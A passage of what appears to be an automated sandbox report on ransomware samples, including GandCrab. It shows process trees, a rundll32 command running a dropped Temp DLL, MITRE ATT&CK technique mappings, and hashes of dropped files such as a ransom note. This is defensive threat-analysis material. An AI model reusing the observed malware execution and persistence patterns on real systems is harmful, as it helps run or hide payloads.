                                                                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                                                                              PID:6548
                                                                                                                                                                                                                                                                                                                                            • C:\Users\Admin\Desktop\00454\Trojan-Ransom.Win32.GandCrypt.afy-67115458cd01cdfc921d4c046e2c525873c185f3bf693fcca50dfe2b71c6df87.exe
                                                                                                                                                                                                                                                                                                                                              Trojan-Ransom.Win32.GandCrypt.afy-67115458cd01cdfc921d4c046e2c525873c185f3bf693fcca50dfe2b71c6df87.exe
                                                                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                                                                PID:12012
                                                                                                                                                                                                                                                                                                                                          • C:\Windows\system32\AUDIODG.EXE
                                                                                                                                                                                                                                                                                                                                            C:\Windows\system32\AUDIODG.EXE 0x404 0x2c8
                                                                                                                                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                                                                                                                                              PID:4728
                                                                                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                                                                              C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 3944 -ip 3944
                                                                                                                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                                                                                                                PID:2376
                                                                                                                                                                                                                                                                                                                                              • C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
                                                                                                                                                                                                                                                                                                                                                "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" /automation -Embedding
                                                                                                                                                                                                                                                                                                                                                1⤵
                                                                                                                                                                                                                                                                                                                                                  PID:2684
                                                                                                                                                                                                                                                                                                                                                • C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
                                                                                                                                                                                                                                                                                                                                                  "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" /automation -Embedding
                                                                                                                                                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                                                                                                                                                    PID:5092
                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                                                                                    C:\Windows\SysWOW64\WerFault.exe -pss -s 188 -p 3036 -ip 3036
                                                                                                                                                                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                                                                                                                                                                      PID:5796
                                                                                                                                                                                                                                                                                                                                                    • C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
                                                                                                                                                                                                                                                                                                                                                      "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" /automation -Embedding
                                                                                                                                                                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                                                                                                                                                                        PID:6372
                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                                                                                        C:\Windows\SysWOW64\WerFault.exe -pss -s 528 -p 4684 -ip 4684
                                                                                                                                                                                                                                                                                                                                                        1⤵
                                                                                                                                                                                                                                                                                                                                                          PID:6596
                                                                                                                                                                                                                                                                                                                                                        • C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
                                                                                                                                                                                                                                                                                                                                                          "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" /automation -Embedding
                                                                                                                                                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                                                                                                                                                            PID:6896
                                                                                                                                                                                                                                                                                                                                                          • C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
                                                                                                                                                                                                                                                                                                                                                            "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" /automation -Embedding
                                                                                                                                                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                                                                                                                                                              PID:6700
                                                                                                                                                                                                                                                                                                                                                            • C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
                                                                                                                                                                                                                                                                                                                                                              "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" /automation -Embedding
                                                                                                                                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                                                                                                                                PID:6044
                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                                                                                                C:\Windows\SysWOW64\WerFault.exe -pss -s 456 -p 1440 -ip 1440
                                                                                                                                                                                                                                                                                                                                                                1⤵
                                                                                                                                                                                                                                                                                                                                                                  PID:3960
                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                                                                                                  C:\Windows\SysWOW64\WerFault.exe -pss -s 512 -p 6100 -ip 6100
                                                                                                                                                                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                                                                                                                                                                    PID:3812
                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                                                                                                    C:\Windows\SysWOW64\WerFault.exe -pss -s 528 -p 7080 -ip 7080
                                                                                                                                                                                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                                                                                                                                                                                      PID:5872
                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                                                                                                      C:\Windows\SysWOW64\WerFault.exe -pss -s 480 -p 8152 -ip 8152
                                                                                                                                                                                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                                                                                                                                                                                        PID:5476
                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                                                                                                        C:\Windows\SysWOW64\WerFault.exe -pss -s 556 -p 7964 -ip 7964
                                                                                                                                                                                                                                                                                                                                                                        1⤵
                                                                                                                                                                                                                                                                                                                                                                          PID:2808
                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\system32\rUNdlL32.eXe
                                                                                                                                                                                                                                                                                                                                                                          rUNdlL32.eXe "C:\Users\Admin\AppData\Local\Temp\axhub.dll",main
                                                                                                                                                                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                                                                                                                                                                          • Process spawned unexpected child process
                                                                                                                                                                                                                                                                                                                                                                          PID:7096
                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\rundll32.exe
                                                                                                                                                                                                                                                                                                                                                                            rUNdlL32.eXe "C:\Users\Admin\AppData\Local\Temp\axhub.dll",main
                                                                                                                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                                                                                                                              PID:7800
                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\system32\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                            C:\Windows\system32\svchost.exe -k SystemNetworkService
                                                                                                                                                                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                                                                                                                                                                              PID:8100
                                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\system32\rUNdlL32.eXe
                                                                                                                                                                                                                                                                                                                                                                              rUNdlL32.eXe "C:\Users\Admin\AppData\Local\Temp\axhub.dll",main
                                                                                                                                                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                                                                                                                                              • Process spawned unexpected child process
                                                                                                                                                                                                                                                                                                                                                                              PID:7676
                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\rundll32.exe
                                                                                                                                                                                                                                                                                                                                                                                rUNdlL32.eXe "C:\Users\Admin\AppData\Local\Temp\axhub.dll",main
                                                                                                                                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                                                                                                                                  PID:8104
                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                                                                                                                C:\Windows\SysWOW64\WerFault.exe -pss -s 516 -p 7780 -ip 7780
                                                                                                                                                                                                                                                                                                                                                                                1⤵
                                                                                                                                                                                                                                                                                                                                                                                  PID:6316
                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                                                                                                                  C:\Windows\SysWOW64\WerFault.exe -pss -s 528 -p 8176 -ip 8176
                                                                                                                                                                                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                                                                                                                                                                                    PID:7980
                                                                                                                                                                                                                                                                                                                                                                                  • C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
                                                                                                                                                                                                                                                                                                                                                                                    "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" /automation -Embedding
                                                                                                                                                                                                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                                                                                                                                                                                                      PID:3928
                                                                                                                                                                                                                                                                                                                                                                                    • C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
                                                                                                                                                                                                                                                                                                                                                                                      "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" /automation -Embedding
                                                                                                                                                                                                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                                                                                                                                                                                                        PID:5704
                                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\System32\CompPkgSrv.exe
                                                                                                                                                                                                                                                                                                                                                                                        C:\Windows\System32\CompPkgSrv.exe -Embedding
                                                                                                                                                                                                                                                                                                                                                                                        1⤵
                                                                                                                                                                                                                                                                                                                                                                                          PID:8084
                                                                                                                                                                                                                                                                                                                                                                                        • C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
                                                                                                                                                                                                                                                                                                                                                                                          "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" /automation -Embedding
                                                                                                                                                                                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                                                                                                                                                                                            PID:10004

                                                                                                                                                                                                                                                                                                                                                                                          Network

                                                                                                                                                                                                                                                                                                                                                                                          MITRE ATT&CK Enterprise v15

                                                                                                                                                                                                                                                                                                                                                                                          Reconnaissance

                                                                                                                                                                                                                                                                                                                                                                                          Resource Development

                                                                                                                                                                                                                                                                                                                                                                                          Initial Access

                                                                                                                                                                                                                                                                                                                                                                                          Execution

                                                                                                                                                                                                                                                                                                                                                                                          Command and Scripting Interpreter

                                                                                                                                                                                                                                                                                                                                                                                          1
                                                                                                                                                                                                                                                                                                                                                                                          T1059

                                                                                                                                                                                                                                                                                                                                                                                          PowerShell

                                                                                                                                                                                                                                                                                                                                                                                          1
                                                                                                                                                                                                                                                                                                                                                                                          T1059.001

                                                                                                                                                                                                                                                                                                                                                                                          Scheduled Task/Job

                                                                                                                                                                                                                                                                                                                                                                                          1
                                                                                                                                                                                                                                                                                                                                                                                          T1053

                                                                                                                                                                                                                                                                                                                                                                                          Scheduled Task

                                                                                                                                                                                                                                                                                                                                                                                          1
                                                                                                                                                                                                                                                                                                                                                                                          T1053.005

                                                                                                                                                                                                                                                                                                                                                                                          Persistence

                                                                                                                                                                                                                                                                                                                                                                                          Create or Modify System Process

                                                                                                                                                                                                                                                                                                                                                                                          1
                                                                                                                                                                                                                                                                                                                                                                                          T1543

                                                                                                                                                                                                                                                                                                                                                                                          Windows Service

                                                                                                                                                                                                                                                                                                                                                                                          1
                                                                                                                                                                                                                                                                                                                                                                                          T1543.003

                                                                                                                                                                                                                                                                                                                                                                                          Scheduled Task/Job

                                                                                                                                                                                                                                                                                                                                                                                          1
                                                                                                                                                                                                                                                                                                                                                                                          T1053

                                                                                                                                                                                                                                                                                                                                                                                          Scheduled Task

                                                                                                                                                                                                                                                                                                                                                                                          1
                                                                                                                                                                                                                                                                                                                                                                                          T1053.005

                                                                                                                                                                                                                                                                                                                                                                                          Privilege Escalation

                                                                                                                                                                                                                                                                                                                                                                                          Create or Modify System Process

                                                                                                                                                                                                                                                                                                                                                                                          1
                                                                                                                                                                                                                                                                                                                                                                                          T1543

                                                                                                                                                                                                                                                                                                                                                                                          Windows Service

                                                                                                                                                                                                                                                                                                                                                                                          1
                                                                                                                                                                                                                                                                                                                                                                                          T1543.003

                                                                                                                                                                                                                                                                                                                                                                                          Scheduled Task/Job

                                                                                                                                                                                                                                                                                                                                                                                          1
                                                                                                                                                                                                                                                                                                                                                                                          T1053

                                                                                                                                                                                                                                                                                                                                                                                          Scheduled Task

                                                                                                                                                                                                                                                                                                                                                                                          1
                                                                                                                                                                                                                                                                                                                                                                                          T1053.005

                                                                                                                                                                                                                                                                                                                                                                                          Defense Evasion

                                                                                                                                                                                                                                                                                                                                                                                          File and Directory Permissions Modification

                                                                                                                                                                                                                                                                                                                                                                                          1
                                                                                                                                                                                                                                                                                                                                                                                          T1222

                                                                                                                                                                                                                                                                                                                                                                                          Hide Artifacts

                                                                                                                                                                                                                                                                                                                                                                                          1
                                                                                                                                                                                                                                                                                                                                                                                          T1564

                                                                                                                                                                                                                                                                                                                                                                                          Hidden Files and Directories

                                                                                                                                                                                                                                                                                                                                                                                          1
                                                                                                                                                                                                                                                                                                                                                                                          T1564.001

                                                                                                                                                                                                                                                                                                                                                                                          Impair Defenses

                                                                                                                                                                                                                                                                                                                                                                                          1
                                                                                                                                                                                                                                                                                                                                                                                          T1562

                                                                                                                                                                                                                                                                                                                                                                                          Disable or Modify System Firewall

                                                                                                                                                                                                                                                                                                                                                                                          1
                                                                                                                                                                                                                                                                                                                                                                                          T1562.004

                                                                                                                                                                                                                                                                                                                                                                                          Modify Registry

                                                                                                                                                                                                                                                                                                                                                                                          1
                                                                                                                                                                                                                                                                                                                                                                                          T1112

                                                                                                                                                                                                                                                                                                                                                                                          Credential Access

                                                                                                                                                                                                                                                                                                                                                                                          Discovery

                                                                                                                                                                                                                                                                                                                                                                                          Network Service Discovery

                                                                                                                                                                                                                                                                                                                                                                                          1
                                                                                                                                                                                                                                                                                                                                                                                          T1046

                                                                                                                                                                                                                                                                                                                                                                                          Peripheral Device Discovery

                                                                                                                                                                                                                                                                                                                                                                                          1
                                                                                                                                                                                                                                                                                                                                                                                          T1120

                                                                                                                                                                                                                                                                                                                                                                                          Query Registry

                                                                                                                                                                                                                                                                                                                                                                                          2
                                                                                                                                                                                                                                                                                                                                                                                          T1012

                                                                                                                                                                                                                                                                                                                                                                                          System Information Discovery

                                                                                                                                                                                                                                                                                                                                                                                          3
                                                                                                                                                                                                                                                                                                                                                                                          T1082

                                                                                                                                                                                                                                                                                                                                                                                          System Location Discovery

                                                                                                                                                                                                                                                                                                                                                                                          1
                                                                                                                                                                                                                                                                                                                                                                                          T1614

                                                                                                                                                                                                                                                                                                                                                                                          System Language Discovery

                                                                                                                                                                                                                                                                                                                                                                                          1
                                                                                                                                                                                                                                                                                                                                                                                          T1614.001

                                                                                                                                                                                                                                                                                                                                                                                          Lateral Movement

                                                                                                                                                                                                                                                                                                                                                                                          Collection

                                                                                                                                                                                                                                                                                                                                                                                          Command and Control

                                                                                                                                                                                                                                                                                                                                                                                          Proxy

                                                                                                                                                                                                                                                                                                                                                                                          1
                                                                                                                                                                                                                                                                                                                                                                                          T1090

                                                                                                                                                                                                                                                                                                                                                                                          Web Service

                                                                                                                                                                                                                                                                                                                                                                                          1
                                                                                                                                                                                                                                                                                                                                                                                          T1102

                                                                                                                                                                                                                                                                                                                                                                                          Exfiltration

                                                                                                                                                                                                                                                                                                                                                                                          Impact

                                                                                                                                                                                                                                                                                                                                                                                          Replay Monitor

                                                                                                                                                                                                                                                                                                                                                                                          Loading Replay Monitor...

                                                                                                                                                                                                                                                                                                                                                                                          Downloads

                                                                                                                                                                                                                                                                                                                                                                                          • C:\Program Files\7-Zip\7-zip.chm.exe
                                                                                                                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                                                                                                                            1.8MB

                                                                                                                                                                                                                                                                                                                                                                                            MD5

                                                                                                                                                                                                                                                                                                                                                                                            c1258c03c4a32175741327a7f2179b18

                                                                                                                                                                                                                                                                                                                                                                                            SHA1

                                                                                                                                                                                                                                                                                                                                                                                            f696657e2bddf0eb0c48fda184f0c77b6adc553f

                                                                                                                                                                                                                                                                                                                                                                                            SHA256

                                                                                                                                                                                                                                                                                                                                                                                            6d94973e5c59a85bb0e5376a0ded7835cdbeaba2c15275958386198c19679351

                                                                                                                                                                                                                                                                                                                                                                                            SHA512

                                                                                                                                                                                                                                                                                                                                                                                            a9821c7980f9d31a1fff4e0cc2844ad8fd1c66c93eb250d07c93181f06c25c1bebcc091fe4d21888bcba7ff39e2944d639069d51fc5b81e850c81517eccbfa58

                                                                                                                                                                                                                                                                                                                                                                                            Download Submit

                                                                                                                                                                                                                                                                                                                                                                                          • C:\Program Files\dotnet\Restore-My-Files.txt
                                                                                                                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                                                                                                                            512B

                                                                                                                                                                                                                                                                                                                                                                                            MD5

                                                                                                                                                                                                                                                                                                                                                                                            23b23066a9da4fcc0139e4fceb91fc38

                                                                                                                                                                                                                                                                                                                                                                                            SHA1

                                                                                                                                                                                                                                                                                                                                                                                            d15fd13d612ec39d1bc227fbd957c74b8dfc30fb

                                                                                                                                                                                                                                                                                                                                                                                            SHA256

                                                                                                                                                                                                                                                                                                                                                                                            c193174882fe3be6cbbb5ce61c13ceb0f2180f663f6e762386ff98cb9a12833e

                                                                                                                                                                                                                                                                                                                                                                                            SHA512

                                                                                                                                                                                                                                                                                                                                                                                            87b293cb4962d18a4fabcbce89bef269dabddec671efd7978e918cf0054b4db84dd885de45a3cfce1c32631274642bb476b8e9977a57a360249319f3b83b5e37

                                                                                                                                                                                                                                                                                                                                                                                            Download Submit

                                                                                                                                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages
                                                                                                                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                                                                                                                            56KB

                                                                                                                                                                                                                                                                                                                                                                                            MD5

                                                                                                                                                                                                                                                                                                                                                                                            752a1f26b18748311b691c7d8fc20633

                                                                                                                                                                                                                                                                                                                                                                                            SHA1

                                                                                                                                                                                                                                                                                                                                                                                            c1f8e83eebc1cc1e9b88c773338eb09ff82ab862

                                                                                                                                                                                                                                                                                                                                                                                            SHA256

                                                                                                                                                                                                                                                                                                                                                                                            111dac2948e4cecb10b0d2e10d8afaa663d78d643826b592d6414a1fd77cc131

                                                                                                                                                                                                                                                                                                                                                                                            SHA512

                                                                                                                                                                                                                                                                                                                                                                                            a2f5f262faf2c3e9756da94b2c47787ce3a9391b5bd53581578aa9a764449e114836704d6dec4aadc097fed4c818831baa11affa1eb25be2bfad9349bb090fe5

                                                                                                                                                                                                                                                                                                                                                                                            Download Submit

                                                                                                                                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages
                                                                                                                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                                                                                                                            64KB

                                                                                                                                                                                                                                                                                                                                                                                            MD5

                                                                                                                                                                                                                                                                                                                                                                                            13a489cdb1bb368dd767567a43db177e

                                                                                                                                                                                                                                                                                                                                                                                            SHA1

                                                                                                                                                                                                                                                                                                                                                                                            516d2d77ab88c8d322c7240c60e2cc89eda2f66d

                                                                                                                                                                                                                                                                                                                                                                                            SHA256

                                                                                                                                                                                                                                                                                                                                                                                            da3b80091affc09d523fe802db3f64e58b6633b273daede76fe3ff87c71c230a

                                                                                                                                                                                                                                                                                                                                                                                            SHA512

                                                                                                                                                                                                                                                                                                                                                                                            62435b9c29f6b312202ea2718cbb49629beaa05eb783ac043eeb38d01233fcb90dddc29183cd5eeb6f6d52fea193f0b39ebe4b8f156c1a285468212cb544ed25

                                                                                                                                                                                                                                                                                                                                                                                            Download Submit

                                                                                                                                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Adobe\Acrobat\DC\AdobeFnt16.lst.1440
                                                                                                                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                                                                                                                            97KB

                                                                                                                                                                                                                                                                                                                                                                                            MD5

                                                                                                                                                                                                                                                                                                                                                                                            700e7d6f9cfc26cea4d04f65f02b3452

                                                                                                                                                                                                                                                                                                                                                                                            SHA1

                                                                                                                                                                                                                                                                                                                                                                                            e5580200e54edb7cd4f7c5daada5c031434cf334

                                                                                                                                                                                                                                                                                                                                                                                            SHA256

                                                                                                                                                                                                                                                                                                                                                                                            c3d8aef5d450a90e4a51335532c977515e589143be772697e666c8c9f4ab0c0e

                                                                                                                                                                                                                                                                                                                                                                                            SHA512

                                                                                                                                                                                                                                                                                                                                                                                            1cafa5bab9838052312d8a6ced7d9baa4f28ef77d48681ada4dedf29400d235b51e187a1f207cfd8e008ee6274156cb7ef2821fdf7cbcc65d697ff4f469d7a82

                                                                                                                                                                                                                                                                                                                                                                                            Download Submit

                                                                                                                                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents
                                                                                                                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                                                                                                                            12KB

                                                                                                                                                                                                                                                                                                                                                                                            MD5

                                                                                                                                                                                                                                                                                                                                                                                            ac394149edc5fd1196c26788492dbb26

                                                                                                                                                                                                                                                                                                                                                                                            SHA1

                                                                                                                                                                                                                                                                                                                                                                                            e21b24836b15c1fc6e8deb7c14c62c288849e725

                                                                                                                                                                                                                                                                                                                                                                                            SHA256

                                                                                                                                                                                                                                                                                                                                                                                            d22ce5e34f10ecd5e95c74532780b2cef10b303ab40a33f6308549691ade8377

                                                                                                                                                                                                                                                                                                                                                                                            SHA512

                                                                                                                                                                                                                                                                                                                                                                                            b4885445acea49f6c2afd4e44540fa68263210d967f1316db84e0a332fb7cb771c3c0acc6c89c93bdad47792c07476bd3a10b6292b2485f9a04e6f4198fc320b

                                                                                                                                                                                                                                                                                                                                                                                            Download Submit

                                                                                                                                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\D3DSCache\e8010882af4f153f\F4EB2D6C-ED2B-4BDD-AD9D-F913287E6768.idx
                                                                                                                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                                                                                                                            64KB

                                                                                                                                                                                                                                                                                                                                                                                            MD5

                                                                                                                                                                                                                                                                                                                                                                                            d2fb266b97caff2086bf0fa74eddb6b2

                                                                                                                                                                                                                                                                                                                                                                                            SHA1

                                                                                                                                                                                                                                                                                                                                                                                            2f0061ce9c51b5b4fbab76b37fc6a540be7f805d

                                                                                                                                                                                                                                                                                                                                                                                            SHA256

                                                                                                                                                                                                                                                                                                                                                                                            b09f68b61d9ff5a7c7c8b10eee9447d4813ee0e866346e629e788cd4adecb66a

                                                                                                                                                                                                                                                                                                                                                                                            SHA512

                                                                                                                                                                                                                                                                                                                                                                                            c3ba95a538c1d266beb83334af755c34ce642a4178ab0f2e5f7822fd6821d3b68862a8b58f167a9294e6d913b08c1054a69b5d7aec2efdb3cf9796ed84de21a8

                                                                                                                                                                                                                                                                                                                                                                                            Download Submit

                                                                                                                                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\D3DSCache\e8010882af4f153f\F4EB2D6C-ED2B-4BDD-AD9D-F913287E6768.lock
                                                                                                                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                                                                                                                            4B

                                                                                                                                                                                                                                                                                                                                                                                            MD5

                                                                                                                                                                                                                                                                                                                                                                                            f49655f856acb8884cc0ace29216f511

                                                                                                                                                                                                                                                                                                                                                                                            SHA1

                                                                                                                                                                                                                                                                                                                                                                                            cb0f1f87ec0455ec349aaa950c600475ac7b7b6b

                                                                                                                                                                                                                                                                                                                                                                                            SHA256

                                                                                                                                                                                                                                                                                                                                                                                            7852fce59c67ddf1d6b8b997eaa1adfac004a9f3a91c37295de9223674011fba

                                                                                                                                                                                                                                                                                                                                                                                            SHA512

                                                                                                                                                                                                                                                                                                                                                                                            599e93d25b174524495ed29653052b3590133096404873318f05fd68f4c9a5c9a3b30574551141fbb73d7329d6be342699a17f3ae84554bab784776dfda2d5f8

                                                                                                                                                                                                                                                                                                                                                                                            Download Submit

                                                                                                                                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\D3DSCache\e8010882af4f153f\F4EB2D6C-ED2B-4BDD-AD9D-F913287E6768.val
                                                                                                                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                                                                                                                            944B

                                                                                                                                                                                                                                                                                                                                                                                            MD5

                                                                                                                                                                                                                                                                                                                                                                                            6bd369f7c74a28194c991ed1404da30f

                                                                                                                                                                                                                                                                                                                                                                                            SHA1

                                                                                                                                                                                                                                                                                                                                                                                            0f8e3f8ab822c9374409fe399b6bfe5d68cbd643

                                                                                                                                                                                                                                                                                                                                                                                            SHA256

                                                                                                                                                                                                                                                                                                                                                                                            878947d0ec814fe7c343cdebc05eebf00eb14f3023bdb3809a559e17f399fe5d

                                                                                                                                                                                                                                                                                                                                                                                            SHA512

                                                                                                                                                                                                                                                                                                                                                                                            8fc5f073dc9fa1e1ae47c60a5f06e0a48709fd6a4302dffaa721858409e7bde64bc6856d3fb28891090516d1a7afc542579de287778b5755eafe75cc67d45d93

                                                                                                                                                                                                                                                                                                                                                                                            Download Submit

                                                                                                                                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Microsoft\Office\16.0\WebServiceCache\AllUsers\officeclient.microsoft.com\914174B4-BA75-4DE1-A19E-394D4825EC2D
                                                                                                                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                                                                                                                            172KB

                                                                                                                                                                                                                                                                                                                                                                                            MD5

                                                                                                                                                                                                                                                                                                                                                                                            64cfb4416d7450342929d1a1a324e18a

                                                                                                                                                                                                                                                                                                                                                                                            SHA1

                                                                                                                                                                                                                                                                                                                                                                                            8de5b3fdda0e056bc7a5664d5923c739533ee57a

                                                                                                                                                                                                                                                                                                                                                                                            SHA256

                                                                                                                                                                                                                                                                                                                                                                                            c524458a540efcb3d327fc690318367219c7f8ddca9926816d996fc9581dc962

                                                                                                                                                                                                                                                                                                                                                                                            SHA512

                                                                                                                                                                                                                                                                                                                                                                                            583b7fc7148135a6aa46fb08f84d3e5314c5a02ba26fe6f3155c84df058a900bd14fb4693116c0a62470c93282c55ab204c94cfa6c57e2f84d39bdddbe7c2b95

                                                                                                                                                                                                                                                                                                                                                                                            Download Submit

                                                                                                                                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Microsoft\Office\16.0\WebServiceCache\AllUsers\officeclient.microsoft.com\9A3E36AD-E928-41CA-A4D2-2BAE9ED66D00
                                                                                                                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                                                                                                                            172KB

                                                                                                                                                                                                                                                                                                                                                                                            MD5

                                                                                                                                                                                                                                                                                                                                                                                            c3af0a94171b4bd21a0cc0e349886bb6

                                                                                                                                                                                                                                                                                                                                                                                            SHA1

                                                                                                                                                                                                                                                                                                                                                                                            d182b3ff7582fc4c6e0eb1a11d22299063e89eaa

                                                                                                                                                                                                                                                                                                                                                                                            SHA256

                                                                                                                                                                                                                                                                                                                                                                                            2a6801f0b1313a2642e7b655291524d2812da7f9f157e37e85b8f0224afaec3c

                                                                                                                                                                                                                                                                                                                                                                                            SHA512

                                                                                                                                                                                                                                                                                                                                                                                            e24edc902b48b8da10bc410a6446a235ce70f5279a872ff7d396dcaf0671e3bd057b21dc694a378cc1fb63c97f9e5a5c760794176350d684d8a375f17df91f0f

                                                                                                                                                                                                                                                                                                                                                                                            Download Submit

                                                                                                                                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules.xml
                                                                                                                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                                                                                                                            321KB

                                                                                                                                                                                                                                                                                                                                                                                            MD5

                                                                                                                                                                                                                                                                                                                                                                                            42af84f3486aff4d9db057ceca535d14

                                                                                                                                                                                                                                                                                                                                                                                            SHA1

                                                                                                                                                                                                                                                                                                                                                                                            eb5f273354249df36f1492118bf7a5679831a274

                                                                                                                                                                                                                                                                                                                                                                                            SHA256

                                                                                                                                                                                                                                                                                                                                                                                            5134563ba57c01fbbb118b3bb9e5928a179cecb1d25a9e2d53748a21455f474a

                                                                                                                                                                                                                                                                                                                                                                                            SHA512

                                                                                                                                                                                                                                                                                                                                                                                            c50af6ecad160e0f4137e64dda016ffb55b3419a8623f29e0e5ba8a3b0dab43072e8dd03f5f45596a4a1f59a516208036dac7ba19f54937bbaca507ea367ce7f

                                                                                                                                                                                                                                                                                                                                                                                            Download Submit

                                                                                                                                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Microsoft\Office\OTele\excel.exe.db-wal
                                                                                                                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                                                                                                                            12KB

                                                                                                                                                                                                                                                                                                                                                                                            MD5

                                                                                                                                                                                                                                                                                                                                                                                            fe3e2561eb46fc770089f0411511fb4a

                                                                                                                                                                                                                                                                                                                                                                                            SHA1

                                                                                                                                                                                                                                                                                                                                                                                            8e24588de1e1c8a5cdc0b70ff337add677be05c8

                                                                                                                                                                                                                                                                                                                                                                                            SHA256

                                                                                                                                                                                                                                                                                                                                                                                            fa7823a216e28749490cb8b594046f9fc4b1810a493efedeed1ccda950bbe4fe

                                                                                                                                                                                                                                                                                                                                                                                            SHA512

                                                                                                                                                                                                                                                                                                                                                                                            216bcd785ca51644464fa9283e792a8e087e9707567e21c2b11f8c2a7e0f963a70dc34e7f4586f12ca5341e5a6c0ceb02511cebab91a90985d3a948ebf7f0fbd

                                                                                                                                                                                                                                                                                                                                                                                            Download Submit

                                                                                                                                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Microsoft\Office\OTele\excel.exe.db-wal
                                                                                                                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                                                                                                                            16KB

                                                                                                                                                                                                                                                                                                                                                                                            MD5

                                                                                                                                                                                                                                                                                                                                                                                            9fdf82966ed5187c3e84e14c31749959

